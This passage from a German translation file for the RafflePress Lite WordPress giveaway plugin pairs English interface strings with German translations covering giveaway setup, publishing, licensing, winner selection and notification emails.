resources/views/backend-translations.php:299 msgid "" "Click the RafflePress icon to embed in\n" " your post or page." msgstr "" "Zum Einbetten in deinem Beitrag oder deiner Seite\n" " klicke auf das RafflePress-Icon." #: resources/views/backend-translations.php:292 msgid "WordPress Gutenberg Block Instructions" msgstr "WordPress Gutenberg Block Anweisungen" #: resources/views/backend-translations.php:287 msgid "" "OR you can simply copy / paste this\n" " shortcode code in your post content:" msgstr "" "ODER kopiere und einfüge den\n" " Shortcode-Code in deinen Beitrag ein:" #: resources/views/backend-translations.php:286 #: resources/views/backend-translations.php:304 msgid "Publish your post or page." msgstr "Veröffentliche deinen Beitrag oder Seite." #: resources/views/backend-translations.php:281 msgid "" "Click the Insert button to insert the\n" " shortcode in the post." msgstr "" "Klicke auf den Einfügen-Button, um den\n" " Shortcode in deinen Beitrag einzufügen." #: resources/views/backend-translations.php:280 msgid "Select Your Giveaway from the Dropdown." msgstr "Wähle dein Gewinnspiel aus der Dropdown-Liste." #: resources/views/backend-translations.php:275 msgid "" "Click on the RafflePress button at the\n" " top." msgstr "Klicke auf den RafflePress-Button oben." #: resources/views/backend-translations.php:274 msgid "or edit an existing one." msgstr "oder bearbeite ein vorhandenes." #: resources/views/backend-translations.php:264 msgid "" "Share your distraction-free Giveaway Landing Page\n" " that's optimized for maximum conversion and\n" " engagement." msgstr "" "Teile deine ablenkungsfreie Gewinnspiel-Landing-Page,\n" " welche für maximale Conversion und Beteiligung\n" " optimiert ist." #: resources/views/backend-translations.php:263 msgid "Giveaway Landing Page" msgstr "Gewinnspiel-Landing-Page" #: resources/views/backend-translations.php:257 msgid "" "Use the RafflePress shortcode to embed the giveaway\n" " in Classic Editor, Sidebar widgets, or inside your\n" " WordPress theme." msgstr "" "Verwende den RafflePress-Shortcode, um das Gewinnspiel\n" " im klassischen Editor, Seitenleisten-Widgets oder in deinem\n" " WordPress-Theme einzubetten." #: resources/views/backend-translations.php:250 msgid "" "Use the RafflePress Block to embed the giveaway\n" " widget in your WordPress post or page (new WordPress\n" " block editor)." msgstr "" "Verwende den RafflePress-Block, um das Gewinnspiel-Widget\n" " in deinem WordPress-Beitrag oder Seite einzubetten (neuer\n" " WordPress-Block-Editor)." #: resources/views/backend-translations.php:249 msgid "RafflePress WordPress Block" msgstr "RafflePress-WordPress-Block" #: resources/views/backend-translations.php:244 msgid "" "You're almost done. To share this giveaway, use one of the\n" " publish options below:" msgstr "" "Du bist fast fertig. Um dieses Gewinnspiel zu teilen, verwende eine\n" " der Veröffentlichungsoptionen:" #: resources/views/backend-translations.php:243 msgid "Publish Options for" msgstr "Veröffentlichungsoptionen für" #: app/functions-utils.php:100 resources/views/backend-translations.php:242 msgid "Visit a YouTube Channel" msgstr "Besuche einen YouTube-Kanal" #: app/functions-utils.php:54 resources/views/backend-translations.php:239 msgid "Visit us on Facebook" msgstr "Besuche uns auf Facebook" #: app/functions-utils.php:184 resources/views/backend-translations.php:238 msgid "Visit a Page" msgstr "Besuche eine Seite" #: resources/views/backend-translations.php:237 msgid "Username" msgstr "Benutzername" #: app/functions-utils.php:174 resources/views/backend-translations.php:229 msgid "Tweet a Message" msgstr "Twittere eine Nachricht ..." #: resources/views/backend-translations.php:227 msgid "Share Subject" msgstr "Titel teilen" #: resources/views/backend-translations.php:226 msgid "Email Share Options" msgstr "Optionen für E-Mail-Teilen" #: resources/views/backend-translations.php:225 msgid "LinkedIn Share Options" msgstr "Optionen für LinkedIn-Teilen" #: resources/views/backend-translations.php:224 msgid "Pinterest Share Options" msgstr "Optionen für Pinterest-Teilen" #: resources/views/backend-translations.php:222 msgid "Current Image Preview" msgstr "Vorschau des aktuellen Bildes" #: resources/views/backend-translations.php:221 msgid "Recommended Image Size" msgstr "Empfohlene Bildgröße" #: resources/views/backend-translations.php:218 msgid "Facebook Share Options" msgstr "Optionen für Facebook-Teilen" #: resources/views/backend-translations.php:217 msgid "Allow users to share with one click on the selected social media platforms." msgstr "Ermögliche den Benutzern das Teilen mit einem Klick auf den ausgewählten sozialen Netzwerken." #: resources/views/backend-translations.php:216 msgid "Share On" msgstr "Teilen auf" #: resources/views/backend-translations.php:214 msgid "Enter the question you want to ask your users." msgstr "Gib die Frage ein, die du deinen Benutzern stellen möchtest." #: app/functions-utils.php:85 resources/views/backend-translations.php:212 msgid "Answer a Question" msgstr "Beantworte eine Frage" #: resources/views/backend-translations.php:211 msgid "Pinterest Profile URL" msgstr "Pinterest Profil URL" #: app/functions-utils.php:120 resources/views/backend-translations.php:210 #: resources/views/frontend-translations.php:72 msgid "Follow us on Pinterest" msgstr "Folge uns auf Pinterest" #: resources/views/backend-translations.php:209 msgid "and enter a valid License Key to use this feature." msgstr "und gib einen gültigen Lizenzschlüssel ein, um diese Funktion zu nutzen." #: resources/views/backend-translations.php:206 msgid "Opt-in Confirmation Description" msgstr "Anmeldebestätigung Beschreibung" #: app/functions-utils.php:80 resources/views/backend-translations.php:204 msgid "Join an Email Newsletter" msgstr "Trete einem E-Mail-Newsletter bei" #: resources/views/backend-translations.php:199 msgid "" "Explain what information you need to confirm the\n" " action:" msgstr "" "Erkläre, welche Informationen du benötigst, um diese Aktion \n" " zu bestätigen:" #: app/functions-utils.php:75 resources/views/backend-translations.php:197 msgid "Invent Your Own" msgstr "Erfinde deine eigenen" #: app/functions-utils.php:149 resources/views/backend-translations.php:195 msgid "View Instagram Post / Video" msgstr "Instagram Beitrag oder Video anzeigen" #: resources/views/backend-translations.php:194 msgid "URL must start with:" msgstr "URL muss beginnen mit:" #: resources/views/backend-translations.php:190 msgid "The Daily Entries option will allows users to come back every day to earn entries." msgstr "Mit der Option „Tägliche Einträge“ können Benutzer jeden Tag zurückkehren, um Punkte zu verdienen." #: resources/views/backend-translations.php:189 msgid "Allow Daily Entries" msgstr "Tägliche Einträge zulassen" #: resources/views/backend-translations.php:186 msgid "The Mandatory option will make the action required before the user can access other actions." msgstr "Die Obligatorisch-Option macht die Aktion erforderlich, bevor der Benutzer auf andere Aktionen zugreifen kann." #: resources/views/backend-translations.php:185 msgid "Make Mandatory" msgstr "Obligatorisch machen" #: resources/views/backend-translations.php:184 msgid "The Value is how many entries the user will receive for completing the action." msgstr "Der Wert gibt an, wie viele Punkte der Benutzer für das Ausführen der Aktion erhält." #: resources/views/backend-translations.php:182 msgid "The Title is what the user will see on the giveaway." msgstr "Der Benutzer sieht den Titel am Gewinnspiel." #: resources/views/backend-translations.php:178 msgid "Create Your First Giveaway" msgstr "Erstelle dein erstes Gewinnspiel" #: resources/views/backend-translations.php:170 msgid "You currently have the" msgstr "Du hast derzeit die" #: resources/views/backend-translations.php:168 msgid "Deactivate Key" msgstr "Schlüssel deaktivieren" #: resources/views/backend-translations.php:167 msgid "Verify Key" msgstr "Schlüssel verifizieren" #: resources/views/backend-translations.php:166 msgid "Recheck Key" msgstr "Schlüssel erneut prüfen" #: resources/views/backend-translations.php:165 msgid "Enter Your License Key Here" msgstr "Gib hier deinen Lizenzschlüssel ein" #: resources/views/backend-translations.php:162 msgid "If you already have a license key for" msgstr "Falls du bereits einen Lizenzschlüssel hast für" #: resources/views/backend-translations.php:155 msgid "upgrading to PRO" msgstr "Upgrade auf PRO" #: resources/views/backend-translations.php:154 msgid "To unlock more features consider" msgstr "Um weitere Funktionen freizuschalten, überlege das" #: resources/views/backend-translations.php:149 msgid "" "You're using <strong>RafflePress Lite</strong> - No\n" " License needed. Enjoy!" msgstr "" "Du verwendest <strong>RafflePress Lite</strong> - Keine\n" " Lizenz erforderlich. Viel Spaß!" #: resources/views/backend-translations.php:143 #: resources/views/backend-translations.php:483 msgid "Could not be saved. Please contact Support if you continue to experience this issue." msgstr "Konnte nicht gespeichert werden. Wende dich an den Support, wenn dieses Problem weiterhin auftritt." #: resources/views/backend-translations.php:139 msgid "Email to Send Notifications To" msgstr "E-Mail an die Benachrichtigungen gesendet werden sollen" #: resources/views/backend-translations.php:138 msgid "Receive Weekly Updates" msgstr "Erhalte wöchentliche Updates" #: resources/views/backend-translations.php:137 msgid "Receive Daily Updates" msgstr "Tägliche Updates erhalten" #: resources/views/backend-translations.php:136 msgid "No Updates" msgstr "Keine Updates" #: resources/views/backend-translations.php:130 msgid "Entries Deleted" msgstr "Einträge gelöscht" #: resources/views/backend-translations.php:129 msgid "Yes, delete ALL invalid entries!" msgstr "Ja, ALLE ungültigen Einträge löschen!" #: resources/views/backend-translations.php:128 msgid "Entries Marked Invalid" msgstr "Als ungültig gekennzeichnete Einträge" #: resources/views/backend-translations.php:127 msgid "Entries Marked Valid" msgstr "Als gültig markierte Einträge" #: resources/views/backend-translations.php:126 msgid "Worth" msgstr "Wert" #: resources/views/backend-translations.php:122 msgid "Mark Selected Invalid" msgstr "Ausgewählte als ungültig markieren" #: resources/views/backend-translations.php:121 msgid "Mark Selected Valid" msgstr "Ausgewählte als gültig markieren" #: resources/views/backend-translations.php:120 msgid "Back to Users" msgstr "Zurück zu Benutzer" #: resources/views/backend-translations.php:119 msgid "Giveaway Duplicated." msgstr "Gewinnspiel dupliziert." #: resources/views/backend-translations.php:118 msgid "Giveaways Deleted!" msgstr "Gewinnspiele gelöscht." #: resources/views/backend-translations.php:117 msgid "Yes, empty trash!" msgstr "Ja, Müll leeren!" #: resources/views/backend-translations.php:116 msgid "Giveaways Restored." msgstr "Gewinnspiel wiederhergestellt." #: resources/views/backend-translations.php:115 msgid "Giveaways Moved to Trash." msgstr "Gewinnspiele in den Papierkorb verschoben." #: resources/views/backend-translations.php:114 msgid "Giveaway Ended" msgstr "Gewinnspiel beendet" #: resources/views/backend-translations.php:113 msgid "Giveaway Started" msgstr "Gewinnspiel gestartet" #: resources/views/backend-translations.php:104 msgid "Restore Selected" msgstr "Ausgewählte wiederherstellen" #: resources/views/backend-translations.php:103 msgid "Trash Selected" msgstr "Ausgewählte in den Papierkorb verschieben" #: resources/views/backend-translations.php:99 msgid "Upcoming" msgstr "Bevorstehend" #: resources/views/backend-translations.php:97 msgid "End Now" msgstr "Jetzt beenden" #: resources/views/backend-translations.php:93 msgid "Needs Setup" msgstr "Benötigt Einstellungen" #: resources/views/backend-translations.php:90 msgid "Giveaways Overview" msgstr "Gewinnspiel Übersicht" #: resources/views/backend-translations.php:89 #: resources/views/backend-translations.php:131 msgid "Export Started" msgstr "Export gestartet" #: resources/views/backend-translations.php:87 msgid "Yes, delete ALL invalid users!" msgstr "Ja, ALLE ungültigen Benutzer löschen!" #: resources/views/backend-translations.php:83 msgid "Users Marked Confirmed" msgstr "Als bestätigt markierte Benutzer" #: resources/views/backend-translations.php:85 msgid "Users Marked Invalid" msgstr "Als ungültig markierte Benutzer" #: resources/views/backend-translations.php:84 msgid "Users Marked Unconfirmed" msgstr "Als unbestätigt markierte Benutzer" #: resources/views/backend-translations.php:82 msgid "No qualfied contestants to draw from." msgstr "Keine qualifizierten Teilnehmer, aus denen man ziehen kann." #: resources/views/backend-translations.php:81 msgid "Winners Selected!" msgstr "Gewinner ausgewählt!" #: resources/views/backend-translations.php:80 msgid "There was an error sending this email." msgstr "Beim Senden dieser E-Mail ist ein Fehler aufgetreten." #: resources/views/backend-translations.php:79 msgid "Confirmation Email Resent!" msgstr "Bestätigungs-E-Mail erneut gesendet!" #: resources/views/backend-translations.php:74 #: resources/views/backend-translations.php:123 msgid "Delete All Invalid" msgstr "Alle ungültigen löschen" #: resources/views/backend-translations.php:73 msgid "Mark Users as Invalid" msgstr "Benutzer als ungültig markieren" #: resources/views/backend-translations.php:72 msgid "Mark Emails as Unverified" msgstr "E-Mails als nicht bestätigt markieren" #: resources/views/backend-translations.php:69 msgid "Email Unverified" msgstr "E-Mail nicht bestätigt" #: resources/views/backend-translations.php:68 msgid "Email Verified" msgstr "E-Mail bestätigt" #: resources/views/backend-translations.php:66 msgid "Invalidate" msgstr "Ungültig machen" #: resources/views/backend-translations.php:65 msgid "Mark Email as Verified" msgstr "E-Mail als bestätigt markieren" #: resources/views/backend-translations.php:64 msgid "Resend Confirmation Email" msgstr "Bestätigungs-E-Mail erneut senden" #: resources/views/backend-translations.php:63 msgid "Show Entries" msgstr "Einträge anzeigen" #: resources/views/backend-translations.php:62 msgid "Disqualify Winner" msgstr "Gewinner disqualifizieren" #: resources/views/backend-translations.php:61 msgid "Email Winner" msgstr "E-Mail an Gewinner" #: resources/views/backend-translations.php:59 msgid "Export Entries" msgstr "Einträge exportieren" #: resources/views/backend-translations.php:58 msgid "Export Users" msgstr "Benutzer exportieren" #: resources/views/backend-translations.php:57 msgid "Preview Giveaway" msgstr "Gewinnspiel Vorschau" #: resources/views/backend-translations.php:56 msgid "Edit This Giveaway" msgstr "Gewinnspiel bearbeiten" #: resources/views/backend-translations.php:54 msgid "Select Giveaway" msgstr "Gewinnspiel auswählen" #: resources/views/backend-translations.php:52 msgid "Only Verified Emails can win." msgstr "Nur bestätigte E-Mails können gewinnen." #: resources/views/backend-translations.php:51 msgid "Unverified Emails allowed to win." msgstr "Nicht verifizierte E-Mails dürfen gewinnen." #: resources/views/backend-translations.php:50 msgid "How many winners do you want to pick?" msgstr "Wie viele Gewinner möchtest du auswählen?" #: resources/views/backend-translations.php:49 msgid "Winner Selection" msgstr "Gewinner Auswahl" #: resources/views/backend-translations.php:48 msgid "Pick Winner" msgstr "Gewinner auswählen" #: resources/views/backend-translations.php:46 msgid "In the Giveaway Overview page, the giveaway list will be empty because there are no forms yet. To create a new giveaway, click on the Add New button, and this will launch the RafflePress Giveaway Builder." msgstr "Die Gewinnspiel-Übersichts-Seite wird leer bleiben, da keine Formulare vorhanden sind. Um ein neues Gewinnspiel zu erstellen, klicke auf den Neu Anlegen Button um den RafflePress-Gewinnspiel-Builder zu starten." #: resources/views/backend-translations.php:39 msgid "Creating Your First Giveaway" msgstr "Erstelle dein erstes Gewinnspiel" #: resources/views/backend-translations.php:6 msgid "Lite vs Pro" msgstr "Lite vs Pro" #: resources/views/backend-translations.php:5 msgid "Getting Started" msgstr "Erste Schritte" #: resources/views/rafflepress-giveaway.php:769 msgid "Preview All Actions" msgstr "Vorschau aller Aktionen" #: resources/views/rafflepress-giveaway.php:59 msgid "No Giveaway Found" msgstr "Kein Gewinnspiel gefunden" #: resources/views/backend-translations.php:14 msgid "" "Over the years, we found that most WordPress giveway plugins\n" " were bloated, buggy, slow, and very hard to use. So we\n" " started with a simple goal: build a WordPress giveaway\n" " plugin that’s both easy and powerful." msgstr "" "Im Laufe der Jahre haben wir festgestellt, dass die meisten WordPress-Gewinnspiel-Plugins\n" " aufgebläht, fehlerhaft, langsam und sehr schwer zu bedienen sind. Also wir mit\n" " einem einfachen Ziel gestartet: die Erstellung eines WordPress-Gewinnspiel-Plugins,\n" " das sowohl einfach als auch leistungsstark ist." #: resources/views/backend-translations.php:7 msgid "" "Hello and welcome to RafflePress, the most beginner friendly\n" " drag & drop WordPress giveway plugin. At RafflePress, we\n" " build software that helps you create beautiful responsive\n" " online giveaways for your website in minutes." msgstr "" "Hallo und herzlich willkommen bei RafflePress, dem anfängerfreundlichen\n" " Drag-and-drop WordPress-Gewinnspiel-Plugins. Bei RafflePress erstellen wir\n" " Software, mit der du ansprechende und responsive Online-Gewinnspiele\n" " für deine Website in wenigen Minuten erstellen kannst." #: app/giveaway.php:757 app/giveaway.php:772 msgid "Sorry this url already exists. Please choose a new one." msgstr "Entschuldigung, diese URL existiert bereits. Bitte wähle eine neue aus." #: resources/views/backend-translations.php:474 msgid "Select a Template" msgstr "Wähle ein Template aus" #: resources/views/backend-translations.php:447 msgid "Custom CSS" msgstr "Individuelles CSS" #: resources/views/backend-translations.php:172 msgid "Default Timezone" msgstr "Standard Zeitzone" #: resources/views/backend-translations.php:417 #: resources/views/backend-translations.php:433 msgid "Social Logins" msgstr "Mit sozialen Netzwerken anmelden" #: resources/views/frontend-translations.php:44 msgid "We need this information to contact you if you win" msgstr "Wir benötigen diese Information, um dich zu kontaktieren, falls du gewinnst" #: resources/views/frontend-translations.php:64 msgid "Learn how to find the url of the tweet?" msgstr "Erfahre, wie du die URL deines Tweets findest?" #: resources/views/frontend-translations.php:83 msgid "entries through referrals." msgstr "Punkte durch Empfehlungen." #: resources/views/frontend-translations.php:80 msgid "Unlock bonus entries & boost your chances!" msgstr "Schalte Bonus-Punkte frei und erhöhe deine Chancen!" #: resources/views/backend-translations.php:270 msgid "WordPress Shortcode Instuctions" msgstr "WordPress-Shortcode-Anweisungen" #: resources/views/backend-translations.php:230 msgid "Enter the message you want your users to Tweet." msgstr "Gib die Nachricht ein, die deine Benutzer twittern sollen." #: resources/views/backend-translations.php:191 msgid "Facebook Post or Video URL" msgstr "Facebook-Beitrags oder Video-URL" #: app/functions-utils.php:139 resources/views/backend-translations.php:180 msgid "View Facebook Post / Video" msgstr "Facebook-Beitrag oder Video anzeigen" #: resources/views/backend-translations.php:173 msgid "" "Manage integrations with popular providers such as\n" " Constant Contact, MailChimp, Zapier, and more." msgstr "Verwalte Integrationen mit beliebten Anbietern wie Constant Contact, MailChimp, Zapier und mehr." #: resources/views/backend-translations.php:41 msgid "" "Our goal is to take the pain out of creating online giveaways\n" " and make it easy." msgstr "Unser Ziel ist es, das Erstellen von Online-Gewinnspielen so einfach wie möglich zu gestalten." #: resources/views/backend-translations.php:21 msgid "" "Our goal is to take the pain out of creating online\n" " giveaways and make it easy." msgstr "Unser Ziel ist es, das Erstellen von Online-Gewinnspielen so einfach wie möglich zu machen." #: resources/views/backend-translations.php:26 msgid "" "RafflePress is brought to you by the same team that’s behind\n" " the largest WordPress resource site," msgstr "RafflePress ist von demselben Team, welches auch hinter der größten WordPress-Ressourcen-Website steckt," #: resources/views/backend-translations.php:31 msgid "" "Yup, we know a thing or two about building awesome products\n" " that customers love." msgstr "Ja, wir wissen ein oder zwei Dinge über den Bau großartiger Produkte, welche Kunden lieben." #: resources/views/backend-translations.php:475 msgid "" "To speed up the process, you can select from one of our pre-made\n" " templates or start with a" msgstr "Um den Vorgang zu beschleunigen, kannst du eine unserer vorgefertigten Templates für den Start auswählen" #: resources/views/backend-translations.php:367 msgid "" "<strong>Note:</strong> If you have a Refer-a-Friend entry this\n" " setting will be ignored since Refer-a-Friend is never completed." msgstr "<strong>Bemerke:</strong> Falls du einen Empfehle-einen-Freund-Eintrag hast, wird diese Einstellung ignoriert, da die Empfehlung eines Freundes niemals abgeschlossen wird." #: resources/views/backend-translations.php:412 msgid "" "This is good for retargeting pixels and other script that\n" " need to fire after someone enters the giveaway." msgstr "Das ist gut für Retargeting Pixel und anderen Skripten die ausgelöst werden sollen, nachdem jemand dem Gewinnspiel betritt." #: resources/views/backend-translations.php:377 msgid "" "Please enter the giveaway terms and rules in the Rules field\n" " below, or you can use our" msgstr "Bitte gib die Teilnahmebedingungen in das Feld Regeln ein, oder nutze unser" #: resources/views/backend-translations.php:384 msgid "" "<strong>Note:</strong> Our rules template is a generic starting\n" " point, and it is your responsibility to make sure that your\n" " contest / giveaway is following all local laws regarding\n" " Giveaways." msgstr "<strong>Bemerke:</strong> Unsere Regelvorlage ist ein allgemeiner Ansatz und es liegt in deiner Verantwortung, sicherzustellen, dass dein Wettbewerb / Gewinnspiel alle örtlichen Gesetze befolgt, in Bezug auf Gewinnspiele." #: resources/views/backend-translations.php:448 msgid "" "Click <strong>Save</strong> and then\n" " <strong>Preview</strong> to see custom css\n" " changes." msgstr "Klicke <strong>Speichern</strong> und dann auf <strong>Vorschau</strong>, um die individuellen CSS-Änderungen anzuzeigen." #: resources/views/backend-translations.php:354 msgid "" "and get a 20% commission on all sales generated from your\n" " powered by link." msgstr "und erhalte 20 % Provision auf alle erzielten Verkäufe von deinem „Powered by Link“." #: resources/views/backend-translations.php:205 msgid "Display Opt-in Confirmation Checkbox" msgstr "Checkbox für Anmeldebestätigung anzeigen" #: resources/views/backend-translations.php:231 msgid "" "Leave Tweet blank to allow the contestant to tweet any\n" " message." msgstr "Lasse das Feld Tweet leer, damit der Teilnehmer eine beliebige Nachricht senden kann." #: resources/views/backend-translations.php:466 msgid "Add Actions" msgstr "Aktion hinzufügen" #: resources/views/backend-translations.php:347 msgid "" "Enter Your Affiliate URL and Make Money with\n" " RafflePress" msgstr "Gib deine Partner-URL ein und verdiene Geld mit RafflePress" #: resources/views/frontend-translations.php:48 msgid "Left" msgstr "Übrig" #: resources/views/backend-translations.php:60 msgid "Search Emails" msgstr "E-Mails durchsuchen" #: resources/views/frontend-translations.php:125 msgid "To get credit for this entry, follow us on Twitch." msgstr "Um für diesen Eintrag einen Punkt zu erhalten, folge uns auf Twitch." #: resources/views/backend-translations.php:325 msgid "Template Tags" msgstr "Template-Schlagwörter" #: resources/views/backend-translations.php:437 msgid "Fonts" msgstr "Schriften" #: resources/views/backend-translations.php:208 msgid "Settings Page" msgstr "Einstellungsseite" #: resources/views/backend-translations.php:107 msgid "End Date" msgstr "Enddatum" #: resources/views/backend-translations.php:493 #: resources/views/frontend-translations.php:30 msgid "Total Entries" msgstr "Alle Einträge" #: resources/views/backend-translations.php:492 #: resources/views/frontend-translations.php:31 msgid "Your Entries" msgstr "Deine Einträge" #: resources/views/backend-translations.php:505 #: resources/views/frontend-translations.php:32 msgid "Log In to Enter this Giveaway:" msgstr "Anmelden um an diesem Gewinnspiel teilzunehmen:" #: resources/views/frontend-translations.php:34 msgid "Logout" msgstr "Abmelden" #: resources/views/frontend-translations.php:33 msgid "Enter" msgstr "Eintragen" #: resources/views/backend-translations.php:507 #: resources/views/frontend-translations.php:36 msgid "Ways to Enter" msgstr "Möglichkeiten teilzunehmen" #: app/giveaway.php:985 msgid "Starts in" msgstr "Startet in" #: app/giveaway.php:207 msgid "Scheduled - Starts in" msgstr "Geplant - Startet in" #. Plugin URI of the plugin #. Author URI of the plugin msgid "https://www.rafflepress.com" msgstr "https://www.rafflepress.com" #. Author of the plugin #: app/gblock.php:33 msgid "RafflePress" msgstr "RafflePress" #: resources/views/frontend-translations.php:35 msgid "Hi" msgstr "Hi" #: resources/emails/notification.php:136 resources/emails/notification.php:178 msgid "entries" msgstr "Einträge" #: resources/emails/notification.php:189 msgid "Cheers" msgstr "Viele Grüße" #: resources/emails/notification.php:132 resources/emails/notification.php:174 msgid "with" msgstr "mit" #: resources/emails/notification.php:115 resources/emails/notification.php:157 msgid "new entries" msgstr "Neue Einträge" #: resources/emails/notification.php:89 msgid "Hello" msgstr "Hallo" #: app/routes.php:152 app/routes.php:153 msgid "Get Pro" msgstr "Zur Pro-Version" #: app/routes.php:142 app/routes.php:143 #: resources/views/backend-translations.php:4 msgid "About Us" msgstr "Über uns" #: app/routes.php:133 app/routes.php:134 #: resources/views/backend-translations.php:427 msgid "Settings" msgstr "Einstellungen" #: app/routes.php:124 app/routes.php:125 #: resources/views/backend-translations.php:91 msgid "Add New" msgstr "Erstellen" #: app/license.php:12 msgid "Upgrade PHP" msgstr "PHP aktualisieren" #: app/rafflepress.php:168 msgid "Please enter a name." msgstr "Bitte gib deinen Namen ein." #: app/rafflepress.php:164 msgid "Please enter a valid email." msgstr "Bitte gib eine gültige E-Mail-Adresse ein" #: app/giveaway.php:476 msgid "Copy" msgstr "Kopieren" #: app/giveaway.php:231 msgid "Disabled" msgstr "Deaktiviert" #: app/classic-editor.php:102 msgid "Cancel" msgstr "Abbrechen" #: app/classic-editor.php:41 msgid "Close" msgstr "Schließen" #. Plugin Name of the plugin msgid "RafflePress Lite" msgstr "RafflePress Lite" #: resources/views/rafflepress-giveaway.php:207 msgid "This giveaway has ended." msgstr "Das Gewinnspiel ist zu Ende." #: resources/views/builder.php:96 msgid "Please click the link below to confirm your email address." msgstr "Bitte klicke auf den unten stehenden Link, um deine E-Mail-Adresse zu bestätigen." #: resources/emails/notification.php:134 resources/emails/notification.php:176 msgid "constestants and" msgstr "Teilnehmer und" #: resources/emails/notification.php:113 resources/emails/notification.php:155 msgid "new contestants and" msgstr "neue Teilnehmer und" #: resources/emails/notification.php:106 resources/emails/notification.php:148 #: resources/views/backend-translations.php:98 msgid "Running" msgstr "Aktiv" #: resources/emails/notification.php:98 msgid "Here's is a summary of your Giveaways for the last week." msgstr "Hier ist eine Zusammenfassung deiner Gewinnspiele für die letzte Woche." #: resources/emails/notification.php:94 msgid "Here's is a summary of your Giveaways for the last 24 hours." msgstr "Hier ist eine Zusammenfassung deiner Gewinnspiele für die letzten 24 Stunden." #: app/gblock.php:78 msgid "RafflePress Giveaway Preview" msgstr "RafflePress-Gewinnspiel-Vorschau" #: app/gblock.php:38 msgid "Giveaway" msgstr "Gewinnspiel" #: app/gblock.php:37 msgid "Giveaway Settings" msgstr "Gewinnspiel Einstellungen" #: app/gblock.php:36 msgid "Select a Giveaway" msgstr "Wähle ein Gewinnspiel aus" #: app/gblock.php:35 msgid "giveaway" msgstr "Gewinnspiel" #: app/gblock.php:34 msgid "Select and display one of your giveaways" msgstr "Wähle eines deiner Gewinnspiele aus und zeige es an" #: app/routes.php:168 app/routes.php:169 msgid "Builder" msgstr "Builder" #: app/routes.php:115 app/routes.php:116 msgid "Giveaways" msgstr "Gewinnspiele" #: app/contestant.php:355 resources/views/builder.php:100 msgid "[Action Required] Confirm your entry" msgstr "[Aktion erforderlich] Bestätige deine Eingabe" #: app/includes/upgrade.php:188 msgid "Pro version installed but needs to be activated from the Plugins page inside your WordPress admin." msgstr "Die Pro-Version ist installiert, muss aber über die Plugins-Seite in deinem WordPress-Admin aktiviert werden." #: app/includes/upgrade.php:126 app/includes/upgrade.php:132 #: app/includes/upgrade.php:184 msgid "Plugin installed & activated." msgstr "Plugin installiert und aktiviert." #: app/includes/upgrade.php:89 msgid "Could not install upgrade. Please download from rafflepress.com and install manually." msgstr "Das Upgrade konnte nicht installiert werden. Bitte von rafflepress.com herunterladen und manuell installieren." #: app/includes/upgrade.php:43 msgid "Pro version is already installed." msgstr "Die Pro-Version ist bereits installiert." #: app/includes/upgrade.php:24 app/includes/upgrade.php:164 msgid "You are not licensed." msgstr "Du bist nicht lizenziert." #: app/includes/upgrade.php:11 msgid "You are not allowed to install plugins." msgstr "Du darfst keine Plugins installieren." #: app/includes/skin.php:82 app/includes/skin53.php:82 msgid "There was an error installing the addon. Please try again." msgstr "Beim Installieren des Add-ons ist ein Fehler aufgetreten. Bitte versuche es erneut." #: app/license.php:110 msgid "Invalid License Key." msgstr "Ungültiger Lizenzschlüssel." #: app/license.php:12 msgid "The minimum required version of PHP to run this plugin is PHP Version 5.3.3<br>Please contact your hosting company and ask them to upgrade this site's php verison." msgstr "Die mindestens erforderliche PHP-Version, um dieses Plugin auszuführen, ist PHP-Version 5.3.3.<br>Bitte wende dich an dein Hosting-Unternehmen und bitte es, die PHP-Version dieser Website zu aktualisieren." #: app/rafflepress.php:244 msgid "You have reached the maximum number of sign ups." msgstr "Sie haben die maximale Anzahl von Anmeldungen erreicht." #: app/rafflepress.php:180 app/rafflepress.php:441 #: resources/views/rafflepress-giveaway.php:202 msgid "This giveaway is not currently running." msgstr "Dieses Gewinnspiel läuft derzeit nicht." #: app/rafflepress.php:160 msgid "Invalid Giveaway." msgstr "Ungültiges Gewinnspiel." #: app/rafflepress.php:78 resources/views/rafflepress-giveaway.php:91 msgid "Your email has been confirmed." msgstr "Deine E-Mail wurde bestätigt." #: app/giveaway.php:254 msgid "Pre Launch Giveaway" msgstr "Pre-Launch-Gewinnspiel" #: app/giveaway.php:252 msgid "Milestone Rewards Giveaway" msgstr "Meilenstein-Belohnungs-Gewinnspiel" #: app/giveaway.php:250 msgid "Rewards Giveaway" msgstr "Belohnungs-Gewinnspiel" #: app/giveaway.php:248 msgid "Leaderboard Giveaway" msgstr "Leaderboard-Gewinnspiel" #: app/giveaway.php:246 resources/views/backend-translations.php:538 msgid "Classic Giveaway" msgstr "Klassisches Gewinnspiel" #: app/giveaway.php:212 app/giveaway.php:987 #: resources/emails/notification.php:126 resources/emails/notification.php:168 #: resources/views/backend-translations.php:100 msgid "Ended" msgstr "Beendet" #: app/giveaway.php:209 msgid "Running - Ends in" msgstr "Beendet in" #: app/giveaway.php:203 msgid "Draft - " msgstr "Entwurf - " #: app/functions-utils.php:844 msgid "Could not activate addon. Please activate from the Plugins page." msgstr "Add-on konnte nicht aktiviert werden. Bitte aktiviere es von der Plugin-Seite." #: app/functions-utils.php:839 msgid "Addon activated." msgstr "Add-on aktiviert." #: app/functions-utils.php:837 msgid "Plugin activated." msgstr "Plugin aktiviert." #: app/functions-utils.php:809 msgid "Could not deactivate the addon. Please deactivate from the Plugins page." msgstr "Add-on konnte nicht deaktiviert werden. Bitte deaktiviere es von der Plugin-Seite." #: app/functions-utils.php:805 msgid "Addon deactivated." msgstr "Add-on deaktiviert." #: app/functions-utils.php:803 msgid "Plugin deactivated." msgstr "Plugin deaktiviert." #. translators: %s - RafflePress Builder page. #: app/classic-editor.php:86 msgid "Whoops, you haven't created a giveaway yet. Want to <a href=\"%s\">give it a go</a>?" msgstr "Hoppla, du hast noch kein Gewinnspiel erstellt. Möchtest du <a href=\"%s\">es ausprobieren</a>?" #: app/classic-editor.php:75 msgid "Select a giveaway below to insert" msgstr "Wähle ein Gewinnspiel aus, um es einzufügen" #. translators: %s - RafflePress documentation link. #: app/classic-editor.php:51 msgid "Heads up! Don't forget to test your form. <a href=\"%s\" target=\"_blank\" rel=\"noopener noreferrer\">Check out our complete guide</a>!" msgstr "Achtung! Vergiss nicht, dein Formular zu testen. <a href=\"%s\" target=\"_blank\" rel=\"noopener noreferrer\">Unseren vollständigen Leitfaden lesen</a>!" #: app/classic-editor.php:39 msgid "Insert Giveaway" msgstr "Gewinnspiel einfügen" #: app/classic-editor.php:22 app/classic-editor.php:24 #: app/classic-editor.php:107 msgid "Add Giveaway" msgstr "Gewinnspiel erstellen" #: app/settings.php:26 msgid "Error Updating Settings" msgstr "Fehler beim Aktualisieren der Einstellungen" #: app/settings.php:21 